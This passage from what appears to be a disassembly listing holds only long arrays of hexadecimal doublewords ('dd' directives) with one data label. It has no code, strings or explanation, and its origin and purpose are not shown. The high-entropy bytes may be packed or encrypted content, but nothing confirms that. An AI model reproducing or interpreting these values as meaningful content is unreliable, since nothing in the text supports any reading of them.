0BFC6312Eh, 0C2D11AAFh dd 6802C24Eh, 0B5A2FD4Eh, 21FCE89Bh, 0F41170AFh, 99C95F45h dd 0F18E94FDh, 15B898Dh, 1C5219BEh, 48AB6A20h, 0A8D7382Eh dd 547D0413h, 0BBBC67A2h, 905E0740h, 1EE927D1h, 14FED162h dd 0A968E202h, 56858B65h, 0F7FA496h, 6F632FE8h, 1C40FD29h dd 0F2FE908h, 5C7290B3h, 940A7168h, 0AF8C4A6Ah, 1CC42E71h dd 7657E921h, 0A8A35E34h, 62F66979h, 8B930875h, 7060519h dd 55248540h, 89192FA3h, 0F600DE72h, 290DFA1Ah, 0A939E9F9h dd 0C2DB5FA1h, 89E6DECFh, 0C57C4B72h, 3F205979h, 0DF53167Eh dd 5480957h, 7A741381h, 2D643C4Dh, 10C1A038h, 0BD24D472h dd 0DFF2B368h, 0FC2305Bh, 9D5C8Fh, 0C31475BBh, 0BD00556Fh dd 605B3AD1h, 1395CD81h, 0BC767011h, 8E421093h, 2EA8947Fh dd 2EBC4A2Dh, 77E4D2BCh, 95095F20h, 85F4ADE4h, 90127082h dd 0B80C4D93h, 98996559h, 6371E8FBh, 7EDC112h, 4209BFBDh dd 7480391Dh, 0CA295DE9h, 0E5FC4E8h, 852C3549h, 0AABC8DA6h dd 0BF424893h, 474F0928h, 8E6AF8F1h, 0F9995A7Ah, 4BB3D7F2h dd 93E0B29Ch, 44605E45h, 0CC52E133h, 40616FCCh, 0E6078129h dd 4EB823C6h, 0A0B0EE63h, 39012D0Ch, 0EAA85EF5h, 8DC25A83h dd 27752C8Fh, 2C6EF051h, 7236585h, 9731BACDh, 88D6BA4Dh dd 2D01C012h, 211AB7A3h, 105A1E2Ah, 0C1580BB8h, 9AAD8E7h dd 3730CB70h, 35B72301h, 0EA943052h, 5A619F03h, 41FA2916h dd 0B104081Ch, 94680790h, 80A8915Eh, 504CB151h, 0F4492AE9h dd 274A4E16h, 0EEA7C3C8h, 185C2F52h, 335A79C6h, 9A007B84h dd 7AEA6B92h, 0C0F74E5Ah, 15946A16h, 4389852Fh, 795BDA58h dd 0EAD6A5DBh, 39F46885h, 1221AA3h, 48F14A90h, 959E73C6h dd 404B3012h, 5D28E282h, 7FB16C6Ch, 0B2545309h, 4E26710Dh dd 2C5EEBCBh, 810383EDh, 6E77162Ah, 6AAC8A84h, 4E0E7526h dd 0BA6F605Ch, 4B2BBFAAh, 2437A2C5h, 641D495Ah, 832C0DC5h dd 3AE9C406h, 38EFFAEDh, 95CF5258h, 6E49CD34h, 48118D10h dd 0E1621501h, 0A4E24ED3h, 8DA5FC96h, 2B46AF17h, 0CA5B4A0Bh dd 9F305460h, 5E09DABAh, 0F6085068h, 0DD58622Eh, 88C15A05h dd 312EFC18h, 393FBCC1h, 4FECD813h, 5D00268h, 0C0E9C529h dd 0F71CF150h, 3DCE81DFh, 0DABBCDF8h, 15C907Eh, 9726E9FBh dd 6885AEC5h, 0B2362146h, 161CF62h, 0C9D1DA2Bh, 0F2E907B0h dd 972ABA92h, 6201F771h, 0C05FC180h, 0C1DA4171h, 27E7FED4h dd 0A0600610h, 0E297C888h, 571A914Fh, 9A1914FCh, 21960BB5h dd 55742763h, 0F9F0010Ah, 0E8F00B20h, 2D5E5D01h, 32C61A76h dd 8300A261h, 863C55h, 3E112528h, 24E94AF6h, 82BDF2BAh dd 0A9B213A0h, 81CD9A8h, 8432BAAEh, 2F775CB9h, 2D325E58h dd 42E52F83h, 24955C83h, 0E9175CE4h, 96A8023Bh, 0F1967394h dd 7A8735AFh, 0B9791EC0h, 3CAEC42h, 2720827h, 1200D2F7h dd 0D11784C2h, 95F1E911h, 0E0DE5909h, 0B340D348h, 4A1AB263h dd 0D553C328h, 0D487ABF4h, 1231E4Ch, 282CED80h, 28A2E9DDh dd 0D2C7576Eh, 0C667A791h, 0D0315C00h, 17927796h, 4AF035A4h dd 85C0B45Eh, 2C35A497h, 0F0D289AAh, 48BF93EEh, 0F58AC86h dd 0EA31AE13h, 4EE17CABh, 106C625Bh, 0E94A38A9h, 0F4668BA2h dd 826442C1h, 85175905h, 68C273EDh, 4C5F3CC3h, 4E9DB967h dd 5D7BEEC9h, 0D369534Dh, 442CDF13h, 0B8822747h, 0DC4EC9BDh dd 0D9688DC7h, 78B3EDFDh, 28AB58B5h, 10B7C82h, 8125235Fh dd 3C5637C4h, 2E5CA70h, 7675504Ah, 0E6FE3DE9h, 6A14CF81h dd 0E77040DCh, 0C034179Dh, 24581630h, 6FB8892Ch, 0ED27B98Bh dd 0F5E98921h, 68977BE0h, 0A9A80B74h, 2378BF02h, 12774638h dd 70DDC0AAh, 0FB2916EBh, 315DC25Fh, 0ED06AE5Ah, 0C146BEEh dd 7A982E0Ch, 0F5033EAAh, 173911DBh, 7E880C05h, 7FE8E99Bh dd 8946AB13h, 0D1DD6191h, 845C0398h, 0B050EB80h, 1043E17h dd 0D0F68A81h, 7B28EB2Ch, 0F51DD98h, 0A7E994B5h, 0DD3DB4B3h dd 8A2EAF41h, 1B5934A7h, 0B88CF100h, 0B509E4D6h, 7461840Eh dd 0FC18AA27h, 651335E3h, 35A95D13h, 0EF19A204h, 0FB868050h dd 5602A65Ch, 685BDE29h, 3998F5E3h, 299998E9h, 4CA67827h dd 4513E5FDh, 2C5BE25Dh, 689A91C7h, 5618DD06h, 0E4AABD86h dd 5EBB09F5h, 8EAF51F4h, 0E4C23161h, 24888E25h, 0DBE00BB2h dd 5E5E01F3h, 5439E989h, 0CAE29D86h, 0A6B38C37h, 4A7CA5FBh dd 0BFEE9052h, 0C57DC780h, 2957E763h, 1774568Bh, 9BC09D74h dd 0C7A7965Dh, 0BF35EC2Dh, 1F519868h, 33AB0482h, 2A28B931h dd 4AE96528h, 0E0FE1594h, 0D75BE9A0h, 42577997h, 7093859h dd 61AA1F4Dh, 1672DC72h dd 5643C2DEh, 782DD57Ah, 143EE946h, 0B8D6A507h, 0B68B5F38h dd 210AB559h, 8ED1C5Fh, 692DE6DBh, 226AC300h, 0FB90EFB3h dd 6B16C8EAh, 2413F73Eh, 0E9F0D7E5h, 995008D3h, 513F294Fh dd 0EB10F408h, 6915449Bh, 0DF2D00F9h, 218462B3h, 49F1B647h dd 5200FD7Ch, 1D3BF4BAh, 208BB01Eh, 5107A05Eh, 35DB8B9h dd 93CEC197h, 0C98190C0h, 0E5191E2Bh, 27E2C90Ch, 7885B25Dh dd 0ACEA4B73h, 6656D6AEh, 4E40BEDh, 0F443EAC8h, 834522F8h dd 0C9DD2D6Ch, 65710968h, 6A81031h, 0E9272606h, 0B98D407Dh dd 0BD5E25E2h, 51F4DDCh, 0E889684Bh, 94461FCEh, 38DE606Fh dd 0BB04134Bh, 0F8A2D062h, 0FB1914BAh, 0EE093C04h, 923A840Bh dd 16555595h, 0CB4CBF6h, 7BF65314h, 4B0814Dh, 5CB804EFh dd 8F1343A8h, 7F0544ABh, 0B0EFBC23h, 0F58BF501h, 6558CA3Dh dd 4D626600h, 488D2D20h, 530C801h, 7A1653F5h, 256DCAE8h dd 0B75E699Bh, 0A0AC4525h, 0A3545E98h, 25444A12h, 0C7AD352Eh dd 2582DFDEh, 0D92F12F3h, 25EA4433h, 2E3A0283h, 89CE05Fh dd 0B801A09Fh, 27BF1B0Ah, 0F29D3BF7h, 1A781C09h, 0F3627800h dd 2954049Fh, 870BC3BCh, 0A952FA13h, 0C2A674F6h, 620BBE69h dd 0EB0661E1h, 0C00838ECh, 2132C5C3h, 90B0A472h, 52D4BF41h dd 0A2B9AB7Eh, 0D3185D56h, 0BE80DA83h, 880A17FBh, 0BBC8062Eh dd 0A40C3197h, 9A4FD851h, 8E8696EAh, 4AF2BEE9h, 8AF2E7h dd 699E7142h, 0D602BF57h, 0E9444727h, 239355CDh, 2E06B5B9h dd 0E87F0BE2h, 0C6B7C02Dh, 0B3A6FC8Dh, 0ABF5892Eh, 9AE1942h dd 4D8B2292h, 0AE8BFC04h, 4BB6438h, 3B0C50DEh, 7B8DEA53h dd 80807AA2h, 700B75AFh, 143DB6E0h, 5E0908EBh, 0AB5141E9h dd 0A511E424h, 4EB44C62h, 0CC460055h, 0EEC4FE91h, 71E918DCh dd 0B353E5E7h, 0DB09167Bh, 587DC380h, 62CEEDF0h, 1CE60EE6h dd 414804CEh, 3261E964h, 0E3EA896Eh, 16988987h, 0BB3B5356h dd 14A30654h, 9A0B58BEh, 57015EC2h, 2F6A5CEh, 0EC6B8EDCh dd 127D4A9h, 30F0D0F7h, 80199E8h, 5E250DC4h, 152E40F1h dd 0CC77E4Dh, 53B46F1Dh, 0B47C6701h, 73DE421Ch, 27C01675h dd 0F3CEF11Ah, 5C53AC1h, 0C801344h, 1B262139h, 0AE98C301h dd 4B129D02h, 5072E91Ch, 0B6521E4Dh, 0B4EC1714h, 184E9C53h dd 0F25E54DAh, 665C850Ah, 86105AC1h, 0BEDC56D5h, 3F677B5Ah dd 5E2DF029h, 0CEA090C4h, 0B9C0CFDCh, 11F7DAEDh, 2C7895A0h dd 5AF9209Fh, 0BD2907E9h, 62004FE4h, 565D3E6Ch, 2F3606BEh dd 7CE019C7h, 1540B3E9h, 27E77788h, 4D9909CEh, 295FEA44h dd 8038CE57h, 0B7CD69DBh, 72421C20h, 8A902041h, 1671900Bh dd 0C2698438h, 0C3285A01h, 0D22A2058h, 0EA2ED295h, 74B02050h dd 14CAE640h, 0CEB5F9E9h, 5858AAA5h, 35E9878Ah, 0B6247C46h dd 0C13210CEh, 9D32C84Fh, 28E10D67h, 0E88758B5h, 0DCDE3D5Dh dd 0DEA84238h, 2CC3105Fh, 43D7207Fh, 0F700E298h, 175BD1C9h dd 95346AE9h, 559F785Bh, 22B4FB09h, 5F5FFEBAh, 56488E14h dd 0F7A41047h, 252DAD01h, 3F280321h, 0A78B6D1Fh, 0BB34F431h dd 0B1E2C017h, 65D4CE49h, 20E90282h, 507AD47Eh, 6CB5104Ch dd 35EA2711h, 2DE508F1h, 1E181D5Ch, 0A87B9C0Bh, 9EF8308Ch dd 0D2614958h, 0CFD73A05h, 58BAAFD4h, 0F46F902Ah, 20833748h dd 0FEB900F9h, 0F70A663Eh, 0D15C87D9h, 0E4164F14h, 0C15F2472h dd 8B33E657h, 86498CDFh, 1DEA051Ch, 12F0809h, 212F80F8h dd 902A7812h, 309D4017h, 2090CB48h, 685601E3h, 10433253h dd 5C12785Eh, 2C8713C5h, 0BD0079B6h, 22956D96h, 0EFE4FD31h dd 8E9708C9h, 57876F41h, 33BBB907h, 17FE5094h, 73C0EC44h dd 9D00E55Fh, 4A854DC4h, 1D25AF7h, 11B2E2DDh, 2ED42D5h dd 7B98AC50h, 178E3C62h, 6857009Bh, 253D302Bh, 9BDA70Eh dd 49965F44h, 75125A3h, 5C4B3CCAh, 1F55829h, 5A61EE7Dh dd 6560C101h, 85691EDEh, 0F2F9126Dh, 5968821Fh, 232F77Ch dd 1F5055C3h, 8B417506h, 4197B20h, 0C82942D0h, 1017E859h dd 0E04BF556h, 36248A1Ch, 609F71Ch, 87CD3B8h, 432FCAACh dd 5E698C3h, 4CDE4CF7h, 9357AF00h, 59CE0914h, 800309BCh dd 0B0C6DC4Fh, 72116AF6h, 0E93DC4C8h, 2828AC60h, 0B699C188h dd 24CEED08h, 29C4284Ah, 93A28E91h, 2618B65Ah, 45ADD07Ch dd 0BC6884DFh, 60C64B6Bh, 0F8C80FCAh, 0CC154E81h, 7A4F07F8h dd 0D82D3BA3h, 5BB59E08h, 222CAF1h, 5444D066h, 0DE319ED2h dd 1FFB103Dh, 3042815Eh, 4109AA2Dh, 12800430h, 428A3540h dd 0E918E889h, 0B64E3D6Eh, 7C09DB8h, 0F61DC3EEh, 2C7986DEh dd 833E3DDh, 0F524EF30h, 0C322E906h, 33277690h, 0EF2774C5h dd 0B8C18965h, 6A9450h, 616817BCh, 9A919BDh, 0D529DAD2h dd 0E942A971h, 0BDA96926h, 0B5AA779h, 727E5FE0h, 127AD08h dd 9A1F14BEh, 3A803F67h, 2CC5BD55h, 783212Ah, 97151BEDh dd 0BCCD6008h, 1E7C6074h, 4472C505h, 8B10272Fh, 0E3A810A2h dd 0BA68660Fh, 2A2EC9F2h, 79376F81h, 4450CDADh, 0F6ABC869h dd 98C952F2h, 0C1AB54AEh, 731A7689h, 45324B6Eh, 0BE22EE57h dd 25C2A73Bh, 66D09FDEh, 0D1AB5E0Fh, 6E05E4C4h, 3BCE94C8h dd 9B6FDE20h, 1D4294E9h, 8C004D75h, 0CDDFA7DDh, 4BA9594Bh dd 0B9B156D2h, 0CDE91728h, 975771F0h, 4627F3C5h, 41009840h dd 0F4C82E78h, 68ECA833h, 204E4EE2h, 0F666B1F1h, 0B0B8D950h dd 0C14920EEh, 35A65BFAh, 2A1C185Bh, 873C180h, 149878F0h dd 0C13A9741h, 6A170161h, 4BB3038Ch, 7EA7ACB4h, 35D0C726h dd 8F8B7461h, 49DFCD2h, 0B2718268h, 90B04B0Ah, 2237511h dd 7A98B930h, 82D56417h, 77CA89E9h, 0C7D0A948h, 22746282h dd 0C15455BDh, 513DD4EEh, 0E1779405h, 0E4378142h, 0C1C0DF63h dd 0F72F06EBh, 0E94C41D3h, 91739FF9h, 0A9132578h, 3024FCD1h dd 0AA6D2C03h, 15C9B021h, 2DF03E0Eh, 4E16F100h, 0B0E9E527h dd 0E3721C4Bh, 5FF7C283h, 79A543E5h, 0C5DB1742h, 7E1EFAAFh dd 7C77BC0Dh, 0F13A4031h, 145280FBh, 0E9237546h, 52845A96h dd 25C0022Fh, 0C182C052h, 88A9B048h, 570B1C74h, 8884D9ACh dd 0D42779B7h, 2BC2604Ah, 115AFA60h, 8109694h, 0B35E101Bh dd 9AF9A05Ah, 61D10F15h, 0F30079A2h, 184D84B6h, 0E4DD8955h dd 48CDA2EFh, 278EB097h, 7DB2C328h, 0E9E27374h, 4C755AE1h dd 0A5B37F8h, 808D8A60h, 0D0022BB8h, 2F003519h, 2D597E7Ah dd 1B6975BDh, 0F93AE903h, 18757492h, 27685C7Bh, 0B7512DECh dd 11479E8Bh, 0A207AA8Eh, 0F8F9143Bh, 16A1E888h, 5BD68F59h dd 0E510B5B2h, 839D4076h, 0BEE47097h, 77612DC2h, 46B77170h dd 9AFAAA34h, 46C25D82h, 7052125Dh, 32B11C3Fh, 6850402Bh dd 22C672EDh, 2FBC584Eh, 0D5354800h, 893D18A5h, 0D7E93EC2h dd 4319FDB6h, 35882F66h, 5299C599h, 56A28E54h, 45552753h dd 25D8BF66h, 0F6511C8Bh, 0C33CFE69h, 2E1CFDC5h, 0FE0B55B7h dd 836A005Bh, 0EC5AF520h, 522748EDh, 322F9518h, 0CE2D68ACh dd 0BDE39841h, 0DDE69D0Ah, 0BAC53768h, 18477949h, 0E5801B2Ah dd 8CC00239h, 10CDFE03h, 5406CFAEh, 0E964C5C0h, 6C9F906Dh dd 1B7D21F8h, 73B913BCh, 63E97C8Ch, 2BDD947h, 0EB010B13h dd 0B6F785D8h, 59660990h, 9F6094D5h, 80E9BC82h, 5DD2D6Ah dd 1BD09E82h, 27F8BBh, 0E3814239h, 48ED201Ah, 79DBF72Dh dd 733800B5h, 0BEE93991h dd 509E5592h, 5ABF6969h, 5F159C2Eh, 92252090h, 66C21807h dd 833896EFh, 0E3FBB5A4h, 71770D9h, 6E758B5Fh, 0FA6812DAh dd 808D3710h, 5FA47BA6h, 4B9785ACh, 0F486C02Fh, 0EE890CE4h dd 0E9A3315Dh, 0BFC93B30h, 0BAA27362h, 5B470618h, 2E310FF8h dd 8BFDE927h, 0F5D072D5h, 0F4187FCEh, 0C0829380h, 170FF2B0h dd 0BD4B7529h, 0D3DC4C26h, 0E9B070EAh, 9B95B2E6h, 0E46C4FD8h dd 5B96A727h, 0D5939321h, 99575A9Ch, 0E87E692Ch, 2968DA87h dd 0F9E90BE8h, 22FD24E2h, 0F774D720h, 0E2CF1F99h, 11C1B29Bh dd 0C7407B98h, 92DE9AC1h, 0BA219D8Ch, 0D52D9FF7h, 3E9E7131h dd 0EDE9B243h, 0A771110Eh, 1D3F4874h, 0C1532339h, 0D8D23082h dd 0D501301Fh, 7E6A4340h, 875A770Bh, 0A03A5B2Ch, 12064B49h dd 0A83DBF5Dh, 800C3521h, 0F0345ABAh, 40BD3193h, 9AC4B198h dd 657521AAh, 0D35D5489h, 1C5E2749h, 0BB01B722h, 0BB51AB9h dd 0A272DE89h, 211F8615h, 55A7A45Fh, 0C5684FFAh, 509EDCF9h dd 0C0868E92h, 575F3A29h, 0A1B0D7CFh, 3E1E5B64h, 56AD9500h dd 9F294002h, 3A08A308h, 232DB497h, 74EAD061h, 4AC4868h dd 0F957072h, 78D48994h, 1266F808h, 91638D68h, 2E11B25Dh dd 75159E4h, 0B5ABB753h, 5BFDA395h, 856112DEh, 91D1E90Eh dd 13771D62h, 1064B10Dh, 841BE13h, 115A0CA7h, 0C10C62B4h dd 6E8836E4h, 0D98F64D3h, 16A29B7Eh, 0C2DD2210h, 0CAC78014h dd 30C00C10h, 8196A5Bh, 9BB0A17Fh, 0E24BD03Ch, 2FCD7D6h dd 0BBC025A4h, 0BE84B31Fh, 54A483C4h, 95061216h, 0E95C0A09h dd 0ED5D1607h, 0D975855Fh, 5E503B5h, 227FF907h, 50B3640h dd 0FD3D49BFh, 958C7C7Ch, 0DC1D7DCh, 4E1C04Bh, 60092E06h dd 0FB61847Ah, 0BFEE011Dh, 876DB538h, 0F208820Ch, 0C1C62962h dd 0A33E39D8h, 1EE42E64h, 7369F0BEh, 0F8165F0Ah, 0D6E90AD2h dd 5EF001F0h, 0E0F1799Fh, 0E9F9F766h, 482E4E25h, 83295B83h dd 9AEACB9Bh, 50DAD16Bh, 3A0C0EF9h, 0B8CAF9AAh, 0C1A62021h dd 79406837h, 0DD8192A2h, 0BE562C98h, 0E2622A74h, 44D01342h dd 36A2F0Eh, 0C4303594h, 0ECF31728h, 36223D31h, 0A89BB295h dd 2BBBCD01h, 0F057153Ch, 94A67B83h, 6E455179h, 5C79C62Bh dd 0FB3F1DFCh, 333C102Dh, 8D7FF50h, 3176022Eh, 4F1F808h dd 0BF5EF289h, 80AF2D24h, 0B9F68168h, 79F03803h, 0BF1F0F2Dh dd 514B23Ah, 145E2D07h, 0D4E6B537h, 4FFB6801h, 555F7372h dd 9F9EBC88h, 0E20CC92Ch, 12A8AC07h, 1143EC67h, 527C1F8h dd 4444865Eh, 543BD9B8h, 6DE21B2Dh, 27911BD7h, 0A8675F68h dd 1120BA60h, 297B1362h, 8A3ED1D7h, 6376B8Ch, 7ADD9F92h dd 4E0300BAh, 30E4E681h, 0C901080h, 81E8EC58h, 0B397F74h dd 1CF12460h, 6D3B8371h, 7AE9FC60h, 8025859Ch, 0D828ED45h dd 0C0CBE92Ch, 0EE06B551h, 0F639FE8Eh, 0C743BFD6h, 1C7A66A3h dd 48B110DDh, 0FA0410BFh, 0F258B59Eh, 0A7393624h, 1FF6B7E0h dd 5C97B991h, 4864438Ch, 4212FE88h, 68613371h, 21DB67F2h dd 0A5678516h, 9DBB38F4h, 53E13E81h, 63BAB604h, 260157E5h dd 72CF4498h, 0FC45E5C1h, 5DB3C481h, 1D3EDEF2h, 0E9FE0556h dd 7D1EFC10h, 6FC56816h, 9474AAE3h, 8BF02B8h, 0FEC19641h dd 0B2547FF9h, 7E771762h, 0C781D570h, 0F8014E69h, 28F73CD9h dd 5E0008EFh, 6D49BA52h, 934215E3h, 5B0B282Ch, 81DBC05Ah dd 410294CAh, 9CE916DAh, 5E90550Dh, 0EF92E212h, 37BB5302h dd 867BEE55h, 198A91h, 570FA6B8h, 0A0372D40h, 2138EC07h dd 0F355E9C7h, 512185D5h, 803EC331h, 0C035DE6h, 68122976h dd 0CF34FE7h, 95CA0F44h, 53C08959h, 91DE58E9h, 64410351h dd 0C4D7376Dh, 0FD75891Ch, 0F4A3E030h, 0F79A699Dh, 0A6BA38E0h dd 0D1B03DF6h, 99718D26h, 687D4259h, 83AD0783h, 0F00207Fh dd 0C172F984h, 6EBDC671h, 18E2866h, 78E25335h, 0CB6AFE29h dd 0CBC6017Ch, 16EA21Ch, 0FB951D8h, 0DBF15F0h, 19D2E1C0h dd 0AD90789Ch, 0FA3F2F0Ch, 1CCD277h, 29EF3BEDh, 64FBE9CEh dd 3209BB4Fh, 804AC42Ah, 0D02B20A6h, 1D409D23h, 4177FCBh dd 59F027B0h, 70B84AA9h, 13C06836h, 5379B6A6h, 460BD82Dh dd 602A09D1h, 7F802D8Eh, 31F047EEh, 3BCCB35Ah, 4BD89056h dd 0BE920090h, 4886467Eh, 0B16AA98h, 8DE02A4Eh, 1768806Fh dd 38FD1E4Fh, 9F86A9A5h, 0FE12E80Bh, 0A040123Bh, 0CF1EB498h dd 0BE57CCFEh, 0FDC629D0h, 0D0717BBh, 4D124156h, 3A1E4B7Bh dd 0EDCAA2E2h, 0BB62A50Fh, 8BA94D5Fh, 9E7C15E9h, 88C9194Fh dd 0F27B8289h, 0C22D2F21h, 4361D290h, 0D413E358h, 6D1B199Fh dd 786130Eh, 107CEC08h, 0B7762A09h, 68122289h, 0EE6830D7h dd 0F779C46Eh, 2E4CC3DDh, 60C63740h, 0E6AB1912h, 0B4EE6A10h dd 0C3683CAAh, 0C012584Eh, 0CE843AB9h, 4428BF59h, 0A5C3915Ch dd 0F8A04F71h, 905639Ch, 23881C4Fh, 947E4143h, 226429CAh dd 0B1A908Ah, 1EDE0E4Ah, 68011B80h, 8104199Dh, 524873CEh dd 3DE63380h, 26C1042Bh, 0EF17E946h, 7084FE95h, 79DF29FBh dd 8D3F101Ah, 0D251F354h, 43DA873h, 70856866h, 0E322A4F3h dd 2197C305h, 90ABC011h, 2959CF74h, 0E95FF804h, 37FC6E2Dh dd 0B321D1D1h, 83281D11h, 137DC8BDh, 0BD804CA7h, 1455480Bh dd 0F3C24F45h, 187E4C5Eh, 0EE5F14D3h, 0CFD5826Dh, 1530A701h dd 9E9D0294h, 79C0B553h, 2348B468h, 0B3EDD2C2h, 928991D3h dd 0C739820Ah, 0F1F82858h, 0E7391A3Ah, 0C5982DD2h, 0BBF3CC25h dd 78A7DAE8h, 0ED6C960Eh, 4A833867h, 13936AE3h, 259BA258h dd 56EBC2C6h, 20E9788Eh, 2D90D24Bh, 48CD0555h, 0A7016A26h dd 89F4C69Ah, 6FF63EF0h, 24EFE410h, 0E78B6031h, 2D0A460Dh dd 3745C2DBh, 0C0C3541Ah, 0C9D079F2h, 0A67E4497h, 0C8B5106Bh dd 545580AEh, 3125FD90h, 95F3E6B0h, 0E906E16Fh, 3C30A3B0h dd 0EAD45F09h, 0E9138C5Bh, 14576CDAh, 0C8A9F881h, 81F98975h dd 7ACA5FE2h, 18F514B2h, 61D5E966h, 1C68E9A4h, 4C87733Ah dd 53060F6Ah, 0ADE96260h, 0CC455EAh, 0BECAB53Eh, 0BD6A2A51h dd 8BB2523Ch, 562802B7h, 0A7131A2Ch, 97EA9E43h, 90049AC4h dd 4E76C74Ch, 0C4CCF381h, 2FE8292Bh, 800D4407h, 705C9FB6h dd 0E9D40A01h, 0CF187EA4h, 0E4E76264h, 96F0CD46h, 0EE27DD60h dd 5F557AE8h, 83A8C892h, 23CD1DCEh, 0B05A2B0Ah, 3E70F0E5h dd 0C85C4D8Dh, 0CA240A77h, 0A490ACE9h, 444C2642h, 0E4950F0Ch dd 83A887A6h, 0E78A508Bh, 0EAC6258Dh, 31FBEF4Ch, 0DF7A1F0h dd 8076E3E0h, 60000FB8h, 5035454Dh, 9F674338h, 2D02C879h dd 0C1F1A79Eh, 0C8385E01h, 0F670E84Eh, 0BA3A970Ch, 686398D7h dd 8D054F30h, 0A648E0D9h, 0AF6394Eh, 0A7AD4F2Ch, 688400E7h dd 2FF83420h, 9E6EDA5h, 9AF8EDE9h, 0F39FB38Dh, 1788ACA5h dd 0F2801E57h, 22FAEC8Dh, 6B7234E4h, 638AEE6h, 95A19244h dd 0BA092E89h, 6FDCF9A9h, 2013CBA4h, 0E25B66E3h, 42E9C4AEh dd 0B25EFAFCh, 845C8AEBh, 18B2D46h, 0E1685251h, 2002D44Dh dd 0F949126Ch, 81D300B2h, 8B654FEBh, 0D51CC46Eh, 80CAFE72h dd 0BE2E1D4Ch, 0F5C10865h, 86028826h, 0E021D902h, 266A69D9h dd 4767Eh, 326F34DFh, 0A901B850h, 0E929B113h, 0DC2CE5A8h dd 5FAF68C2h, 0A1079BA2h, 4F13B900h, 0A6235C89h, 7A48BD79h dd 64F015CAh, 0FE685509h, 3E2BE65Ah, 19926E87h, 1B7C0D1h dd 784BA023h, 957A80BCh dword_49A05C dd 57028C51h, 7FD04F7Eh, 500B8789h, 800EA366h, 73283DC3h dd 1AD9D80Bh, 6E81C86Eh, 5AE41236h, 0EF71F058h, 5547BE94h dd 7F158C92h, 96248BAh, 189185Eh, 0EECB86F9h, 8DE75E39h dd 5BDFFC84h, 7880AB3h, 334C3EBBh, 0AC01EFD3h, 7C4C3CDCh dd 950E9CF0h, 6812CFCEh, 71330231h, 0ADC34F53h, 10E64808h dd 0E358A8ECh, 68509260h, 4F26F796h, 1137878h, 1AC54F0h dd 0C0B5B652h, 0CFD003E6h, 0D1DD1AF3h, 583C1E6Ch, 83C980C6h dd 0DD12F521h, 9A45B3DDh, 0A7760B6Dh, 56E4ED13h, 0E1F0BC7h dd 63852D49h, 0E2A08350h, 0B82B3FC8h, 760BFD70h, 0E7D03106h dd 0BDC712D2h, 0EF037CC1h, 3CFC45CBh, 39C0E529h, 4D0D7C7Ah dd 64C4BA06h, 8AF13F5h, 7FA69DA1h, 9F685385h, 272352BFh dd 1679340Dh, 4140CC0Eh, 52703B0Dh, 0A150BADCh, 0D22CCBC8h dd 0E54BB907h, 5040794Ah, 7E7FBD05h, 0F0283B78h, 8996072Dh dd 0DBFDC542h, 0CBFB88D6h, 0A409E022h, 5F777079h, 515B78B4h dd 0D92EDAE6h, 6C20427Ah, 762714F5h, 2260004Fh, 1FC0CE81h dd 78C42F7Ah, 0C140CA0Fh, 41FC7F0Eh, 8A418B90h, 0C093E53Ch dd 2CE74656h, 8CD50995h, 0F9053D70h, 4EFC53Eh, 0F2B3AD8Fh dd 0D5B25A5Ch, 1C72294Ah, 3627E96Bh, 3B38478Fh, 59C0CF02h dd 0E4E16749h, 0D019AD30h, 0FCEB9D0Eh, 0F18BCB5h, 502E5C1h dd 31AB1629h, 884FFE0Eh, 25DF8D6Bh, 612F5B78h, 0F272ECB3h dd 8EBA80DCh, 38C14924h, 7FF1EA01h, 0C2D80F11h, 0BB5A18CCh dd 7A89837Dh, 3CCD384Bh, 77F1C07Ah, 89F6AD79h, 0E9ACCF4Eh dd 3C868C2h, 386595D4h, 40D3690Eh, 835F5B3Bh, 81E4F96Ah dd 1888E84Ah, 0F67C939h, 0D06661D7h, 0E024421Ch, 0EC985A26h dd 2DCE20ABh, 41F9E089h, 0BC0AE56Bh, 8105FF20h, 0BC785EC9h dd 16220EF0h, 49126570h, 21FF0565h, 0CDF0E955h, 0A47733AFh dd 0CFFB584Eh, 0AC245EC2h, 39688E42h, 7AC4DC13h, 80D2DDFEh dd 9B7547FBh, 0C7013417h, 8081628h, 5E14B199h, 3D150FD1h dd 0EA01C582h, 5408DF10h, 1DE6E946h, 0D5C355C1h, 4B312D4Ch dd 650B12Bh, 4B9F0C08h, 103E1CEh, 2DB93D3Ah, 0FD2B1030h dd 0BC8C6817h, 455D1FB2h, 30C74108h, 10462AEBh, 55F2594Eh dd 0E85C68C5h, 7280D0E7h, 189D430Ah, 3507EAC1h, 4AB32C2Ah dd 2204CD89h, 81EDD8E9h, 28A7CD02h, 47561E95h, 2B524D8Fh dd 94F77841h, 4B05C0FDh, 150A7F0Ah, 72DD829h, 0F8105B1Bh dd 26371DBFh, 0E4AD530Bh, 0D8EBE5DDh, 60305658h, 54D80C5Ch dd 0CA024C9Bh, 0ED2A3207h, 860BB2E2h, 2D92F6F6h, 0BEF252EEh dd 35E05239h, 29440226h, 87D9E9F8h, 8FB877DEh, 64DAADB6h dd 4EBBB56Dh, 0F372FA8Ch, 8AA2D74Eh, 5A146620h, 38AEDD1h dd 25154BA3h, 6103C2C1h, 33BB82Ch, 7E7C00Dh, 9F78E2C2h dd 27329C9Fh, 0E25C1365h, 84380559h, 1BC1EBE4h, 48730BE5h dd 0DD0625Bh, 0C0C39B55h, 4E210CD0h, 0EF3E9162h, 0F34D9D12h dd 0D1C313C9h, 0C2409768h, 0A8B0595Ch, 0D2FCE831h, 754B215Fh dd 5E010083h, 9002E2C1h, 0E65C178Eh, 0B68A05B2h, 0D286E82Bh dd 68520BC0h, 387204B5h, 0AC46E923h, 0C5311AECh, 28D0F15Eh dd 9EEC2043h, 3E5FDB95h, 5A25F51Ah, 71B92643h, 3BCD3AC3h dd 192A43Fh, 28254450h, 0FDE9E341h, 0CA344FDDh, 66A4B05Ah dd 4032E16Bh, 1264304Dh, 6EF6E37Ah, 0CC5A1A12h, 764FAA27h dd 58A1A9B8h, 0F2282A52h, 603C08BDh, 92390B4Dh, 0F0E16339h dd 0C0450202h, 2D9B2761h, 59C02FCAh, 0D85A0EE9h, 520FDB5h dd 0EB09537Ah, 0C65B71Ch, 0A9205BFDh, 0E9EB2804h, 47B276F6h dd 1552572Ch, 0DA28F606h, 1F63F8DBh, 9A5B3C08h, 81DE2FEAh dd 0EC967D72h, 975B9697h, 37E3F70Fh, 56200769h, 7B599582h dd 9B16F6A4h, 0B03C228Dh, 75508F2Dh, 391A646Ah, 720BE200h dd 9842310Dh, 0E307095Ah, 96F8203Fh, 0E4C6AF25h, 3116B068h dd 0D6C56964h, 78B73B5Ah, 0B27CBC4Fh, 1516FD21h, 88DCAEBDh dd 20E42816h, 8125FF70h, 0D9F5CBEDh, 